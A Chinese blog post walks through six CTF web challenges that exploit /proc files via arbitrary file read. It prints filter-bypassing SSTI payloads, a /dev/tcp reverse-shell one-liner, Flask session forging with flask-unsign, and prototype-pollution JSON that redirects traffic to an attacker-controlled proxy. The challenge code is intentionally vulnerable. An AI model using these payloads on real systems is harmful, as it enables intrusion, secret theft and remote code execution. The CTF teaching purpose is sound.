CTF trick proc的利用题型总结

/proc利用相关例题总结

文章目录

  • /proc利用相关例题总结
    • 知识点汇总
    • 1.[HDCTF 2023]YamiYami
      • 涉及知识点
      • 解题流程![image-20240311161537705](https://img-blog.csdnimg.cn/img_convert/9e8e7be8d7113789941891638c5784ad.png)
      • 总结
    • 2.[pasecactf_2019]flask_ssti
      • 涉及知识点
      • 解题流程
    • 利用/proc目录
      • 总结
    • 3.[网鼎杯 2020 白虎组]PicDown
      • 涉及知识点
      • 解题流程
        • 非预期
        • 预期解
      • 总结
    • 4.[V&N2020 公开赛]CHECKIN
      • 涉及知识点
      • 解题流程
      • 总结
    • 5.[PASECA2019]honey_shop
      • 考点
      • 解题流程
      • 总结
    • 6.[2023安洵杯 **Swagger docs]**
      • 认识一般flask基础架构
      • 定义api接口功能
      • 通过读取/app/app.py
      • 查看源码
      • 类似merge函数(update) —>python原型链污染
      • 还发现**render_template_string** (ssti的标识) 渲染字符串 到rce
      • 如何控制
      • 法一:`__globals__`->os->environ->http_proxy(设置代理)->再通过nc 转发tcp数据流(vps可控response内容)
        • 如何理解nc
      • 法二:`__globals__`->requests->Response->text内容为payload

知识点汇总

https://www.anquanke.com/post/id/241148#h2-10

复现环境buuctf 或者 nssctf都有

1.[HDCTF 2023]YamiYami

涉及知识点

任意文件读取/proc

解题流程image-20240311161537705

/pwd 提示查看 /app

/Upload file 一个上传接口

/Read somethings 类似ssrf漏洞 还是一个任意文件读取

image-20240311161550849

尝试读取/app下所有文件 http://node4.anna.nssctf.cn:28544/read?url=file:///app/*

image-20240311161604926

想直接读/flag file:///flag

返回 re.findall(‘flag’, url, re.IGNORECASE) 返回一个正则查找 不能直接利用

/proc/1/cmdline 读取 当前进程信息  
/app/app.py 一般源码位置
/proc/1/environ 系统环境变量 
对以上代码的解释
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统

http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/cmdline

返回 /bin/bash./start.sh

查看/app/start.sh内容 没有什么可以利用的

一般flag在环境变量中

直接看环境变量

http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/environ

image-20240311161621784

可以拿到flag

总结

可能存在任意文件读取的地方,都可以试试

/proc/1/cmdline 读取 当前进程信息
/app/run.sh 读源码
/app/app.py
/proc/1/environ 环境变量
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统

2.[pasecactf_2019]flask_ssti

涉及知识点

SSTI

/proc(选用)

解题流程

fuzz一下ssti过滤的字符

image-20240311161634429

应该是过滤了字符 . ' _

把我们常用payload改写一下 {{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

访问 属性 的方式:

> ().__class__
> ()["__class__"]
> ()|attr("__class__")
> ().__getattribute__("__class__")

这里用简单的编码绕过(16进制)

__globals__ = \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
__builtins__=\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f
__import__=\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f
popen

正常构造出

{{lipsum["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("os")["popen"]("ls")["read"]()}}

即可任意执行命令

找半天没找到flag…

看一下 /app/app.py源码 cat /app/app*

import random from flask
import Flask, render_template_string, render_template, request
import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'#
Tiaonmmn don 't remember to remove this part on deploy so nobody will solve that hehe '
''
def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
''
' def encode(line, key, key2): return '
'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) file = open("/app/flag", "r") flag = file.read() flag = flag[:42] app.config['
flag '] = encode(flag, '
GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3 ', '
xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT ') flag = "" os.remove("/app/flag") nicknames = ['˜” * °★☆★_ % s_★☆★°° * ', ' % s~♡ⓛⓞⓥⓔ♡~', ' % s Вêчңø в øĤлâйĤé ', '♪♪♪ % s♪♪♪ ', ' [♥♥♥ % s♥♥♥]
', ' % s, kOтO® Aя)(оТеЛ@© 4@ $tьЯ ', '♔ % s♔ ', ' [♂+♂ = ♥] % s[♂+♂ = ♥]
    '] @app.route(' / ', methods=['
    GET ', '
    POST ']) def index(): if request.method == '
    POST ': try: p = request.values.get('
    nickname ') id = random.randint(0, len(nicknames) - 1) if p != None: if '.
    ' in p or '
    _ ' in p or '\
    '' in p: return 'Your nickname contains restricted characters!'
    return render_template_string(nicknames[id] % p) except Exception as e: print(e) return 'Exception'
    return render_template('index.html') if __name__ == '__main__': app.run(host = '0.0.0.0', port = 1337), kOтO® Aя)(оТеЛ@© 4@ $tьЯ

看的头疼 美化一下 直接拿源码 放在html反转义


import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = "" //将flag放在config中

os.remove("/app/flag")

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
                return render_template_string(nicknames[id] % p)

        except Exception as e:
            print(e)
            return 'Exception'

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)
, kOтO®Aя )(оТеЛ@ ©4@$tьЯ

异或的异或等于本身

查看{{config}}

image-20240311161648881

编写

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag="-M7\x10w@d?d\x02'k\x7f\x0eM\n<\x07(D\x1bO[\x17 3Ti\x02]O\x0c'V--\x16`\x12\x08\x1bG"
print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))

还有大佬用 https://johnfrod.top/ctf/pasecactf-2019flask_ssti/

利用/proc目录

经过阅读源码我们,app.py会打开/app/flag文件,然后读取其中的内容进行加密,加密函数在提示中给出的源码中。最后会删掉flag,导致无法直接通过读文件来获取flag。但是可以通过/proc读取当前进程(self)打开过得文件来获取内容

这里有一个很特殊的操作

1.涉及读取敏感文件

2.删除敏感文件

3.没有关闭文件流f 能够在/proc/self/fd/xxx里找到进程打开的文件信息

**注意:**这里不能用命令执行去cat /proc/self/fd/3,因为这样获取到得进程是cat命令当前的进程,而不是当前服务的进程,所以是找不到flag的

所以我们要通过题目的当前进程使用读取文件(如文件包含漏洞,或者SSTI使用file模块读取文件)的方式读取/proc/self/cmdline

总结

ssti编码绕过+学会’找’flag+通过/proc/self/fd/id可以拿到打开过文件来获取内容

3.[网鼎杯 2020 白虎组]PicDown

涉及知识点

/proc的理解

解题流程

非预期

直接传入/flag

返回jpg文件 用文本软件打开即可

image-20240311161713701

预期解

在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

/proc/self/cmdline 查看当先程序的执行 找源代码

image-20240311161725367

app.py为源码位置

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
#进行 读取且删除  并且文件流未关闭
#可以通过/proc/self/fd/3读取文件流

@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
#利用点  保证传入key=SECRET_KEY
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

/proc/self/fd/3

image-20240311161737271

返回 zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=

在/no_one_know_the_manager路由下传入 key=zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=(这里记得url编码有=)

这里我 curl一下dns 看看出不出网

image-20240310180605385

直接反弹shell 注意url编码

bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"

image-20240311161756840

flag{411a870c-29c4-42c5-a1ca-0f276e006a67}

总结

这道题运用了/proc/self/fd/3读取未关闭文件流的方法拿到key进行rce

4.[V&N2020 公开赛]CHECKIN

涉及知识点

解题流程

开题直接给源码


from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

当shell执行后 读取又删除且没有关闭文件流

明明出外网,题目描述非说不出…

bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"

cat /proc/*/fd/*

遍历所有 文件流

image-20240311161817843

可以拿到flag

flag{0d7d28b8-9058-48aa-bfbc-10149bf3adbf}

总结

通过 /proc/*/fd/*遍历所有文件流

5.[PASECA2019]honey_shop

考点

解题流程

看不出来什么就抓个包看看

image-20240311161834530

session+类似jwt的形式 多半是python-flask-session

而且放在 jwt.io上也可以判断不是jwt

image-20240310190241701

但是可以看看内容

image-20240311161901503

通过修改flask-session的值实现更改

这里用工具 flask-unsign https://github.com/Paradoxis/Flask-Unsign

查看session的信息

flask-unsign --decode -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"

image-20240311161915341

想办法更改balance 需要拿到secret-key

可以尝试爆破一下

flask-unsign --unsign -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"

image-20240310235003244

尝试爆破失败 必须拿到secret-key

image-20240310235227096

发现这存在下载功能

可以抓包看到请求

image-20240310235341924

image-20240310235421205

可以实现任意文件读取

可以读取../../../../proc/1/environ 拿到环境变量

image-20240310235804920

会发现secret_key在环境变量中:VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ

flask-unsign伪造

flask-unsign --sign -c "{'balance': 9999, 'purchases': []}" --secret "VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ"

image-20240311000000415

session=eyJiYWxhbmNlIjo5OTk5LCJwdXJjaGFzZXMiOltdfQ.Ze3Y8g.65hNJ1-zjpK1Sn-NKdgFWuBPj7c

浏览器伪造session即可

image-20240311000309103

总结

涉及flask-session问题会运用工具flask-unsign伪造

当存在任意文件读取时考虑/proc/虚拟文件系统读取敏感信息

6.[2023安洵杯 Swagger docs]

题目地址:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/swagger%20docs

认识一般flask基础架构

app/
|- [app.py](http://app.py/)
|- [config.py](http://config.py/)
|- static/ 静态目录
|   |- style.css
|- templates/
|   |- index.html
|- blueprints/
|   |- auth/
|       |- **init**.py
|       |- [views.py](http://views.py/)
|       |- [models.py](http://models.py/)
|- **init**.py
题目开题
{
  "swagger": "2.0",
  "info": {
    "description": "Interface API Documentation",
    "version": "1.1",
    "title": "Interface API"
  },
  "paths": {
    "/api-base/v0/register": {
      "post": {
        "consumes": [
          "application/json"
        ],
        "summary": "User Registration API",
        "description": "Used for user registration",
        "parameters": [
          {
            "name": "body",
            "in": "body",
            "required": true,
            "schema": {
              "$ref": "#/definitions/UserRegistration"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "success"
          },
          "400": {
            "description": "Invalid request parameters"
          }
        }
      }
    },
    "/api-base/v0/login": {
      "post": {
        "consumes": [
          "application/json"
        ],
        "summary": "User Login API",
        "description": "Used for user login",
        "parameters": [
          {
            "name": "body",
            "in": "body",
            "required": true,
            "schema": {
              "$ref": "#/definitions/UserLogin"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "success"
          },
          "400": {
            "description": "Invalid request parameters"
          }
        }
      }
    },
    "/api-base/v0/search": {
      "get": {
        "summary": "Information Query API",
        "description": "Used to query information",
        "parameters": [
          {
            "name": "file",
            "in": "query",
            "required": true,
            "type": "string"
          },
          {
            "name": "id",
            "in": "query",
            "required": false,
            "type": "string"
          },
          {
            "name": "type",
            "in": "query",
            "required": false,
            "type": "string",
            "description": "Default JSON format.If type is 'text',Text format will be returned"
          }
        ],
        "responses": {
          "200": {
            "description": "success"
          },
          "400": {
            "description": "Invalid request parameters"
          },
          "401": {
            "description": "Unauthorized"
          }
        },
        "security": [
          {
            "TokenAuth": []
          }
        ]
      }
    },
    "/api-base/v0/update": {
      "post": {
        "consumes": [
          "application/json"
        ],
        "summary": "Change Password API",
        "description": "Used to change user password",
        "parameters": [
          {
            "name": "password",
            "in": "body",
            "required": true,
            "schema": {
              "type": "object",
              "properties": {
                "password": {
                  "type": "string"
                }
              }
            }
          }
        ],
        "responses": {
          "200": {
            "description": "success"
          },
          "400": {
            "description": "Invalid request parameters"
          },
          "401": {
            "description": "Unauthorized"
          }
        },
        "security": [
          {
            "TokenAuth": []
          }
        ]
      }
    },
    "/api-base/v0/logout": {
      "get": {
        "summary": "Logout API",
        "description": "Used for user logout",
        "responses": {
          "200": {
            "description": "success"
          },
          "401": {
            "description": "Unauthorized"
          }
        },
        "security": [
          {
            "TokenAuth": []
          }
        ]
      }
    }
  },
  "definitions": {
    "UserRegistration": {
      "type": "object",
      "properties": {
        "username": {
          "type": "string"
        },
        "password": {
          "type": "string"
        }
      }
    },
    "UserLogin": {
      "type": "object",
      "properties": {
        "username": {
          "type": "string"
        },
        "password": {
          "type": "string"
        }
      }
    }
  },
  "securityDefinitions": {
    "TokenAuth": {
      "type": "apiKey",
      "name": "Authorization",
      "in": "header"
    }
  },
  "security": [
    {
      "TokenAuth": []
    }
  ]
}

定义api接口功能

/api-base/v0/register   注册
{"username":1,"password":1}

/api-base/v0/login  登录
{"username":1,"password":1}

登录成功后可以正常使用功能


/api-base/v0/search 注意英文注解 type=text 返回原文
这存在任意文件读取
/api-base/v0/search=../../../proc/1/cmdline&type=text
读取 当前进程信息  
../../../proc/1/cmdline-->执行文件 /app/run.sh--> 读源码 /app/app.py
类似的 ../../../../proc/1/environ 环境变量
proc 虚拟文件系统 可以访问 内核信息
1 代表 uid =1 一般为主系统

/api-base/v0/search 存在任意文件读取 漏洞 必须指定type=text

http://23.94.38.86:9002/api-base/v0/search?file=/proc/1/cmdline&type=text

可以看到系统开的执行命令

image-20240311095543477

可以判断程序路径是/app

file=/proc/1/environ&type=text

环境变量中没有flag

通过读取/app/app.py

image-20240311095602427

查看源码

#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
    'code': 0,
    'message': 'failed',
    'result': None
}
response1={
    'code': 1,
    'message': 'success',
    'result': current_time
}

response2 = {
    'code': 2,
    'message': 'Invalid request parameters',
    'result': None
}

def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500

    return decorated

@app.route('/',methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        User.setUser(username,password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)

    return jsonify(response2),400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401

    return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()
                if new_password:

                    update(new_password, User)

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)

@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response

@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            if request.args.get('id'):
                id = request.args.get('id')
            else:
                id = ''
            data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
            if data.status_code != 200:
                return data.status_code

            if request.args.get('type') == "text":

                return render_template_string(data.text)
            else:
                return jsonify(json.loads(data.text))
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?'
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0')

updata函数提示我们可以用python原型链污染

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)

类似merge函数(update) —>python原型链污染

update(new_password, User)#污染源 实现污染

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()#json数据传递
                if new_password:

                    update(new_password, User)#污染源

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

其中 User = MemUser()

MemUser类

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

可以通过对象的__init__直接拿到__globals__属性实现控制python中的任意属性

还发现render_template_string (ssti的标识) 渲染字符串 到rce

return render_template_string(data.text)

思路:

通过控制 data.text 为实现SSTI的RCE

如何控制

法一:__globals__->os->environ->http_proxy(设置代理)->再通过nc 转发tcp数据流(vps可控response内容)

payload: 通过污染http_proxy让每次请求通过代理服务器也就是我们的vps

通过nc 监听篡改请求

payload 向/api-base/v0/update提交json数据

{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"我们vps的地址:监听端口"}}}}}

{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"148.135.82.190:8888"}}}}}

image-20240311095640005

可以污染成功

然后 vps上监听端口8888

访问/api-base/v0/search 注意带参数type=text触发渲染

/api-base/v0/search?file=/app/app.py&type=text

image-20240311095709565

vps上接受到请求

HTTP/1.1 200 OK

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

构造响应包

image-20240311095722914

可以看到响应包

读取2UARlN9KDhdmbhajd7gtamWuBf9CiFf0_FLAG文件

再次触发

HTTP/1.1 200 OK

{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}

image-20240311095741238

可以拿到flag

如何理解nc

简易版的burp,可以实现tcp,udp信道的监听,数据的传递

nc -lvp 80

curl ip:80

vps 可控 返回内容

法二:__globals__->requests->Response->text内容为payload

直接控制data.text 为我们ssti的payload

payload: 向/api-base/v0/update提交json数据

{"__init__":{"__globals__":{"requests":{"Response":{"text":"payload"}}}}}

例如:{"__init__":{"__globals__":{"requests":{"Response":{"text":"{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}"}}}}}

访问/api-base/v0/search?file=/app/app.py&type=text 触发

image-20240311095759705

可以看到直接回显了 拿到flag

  • 27
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值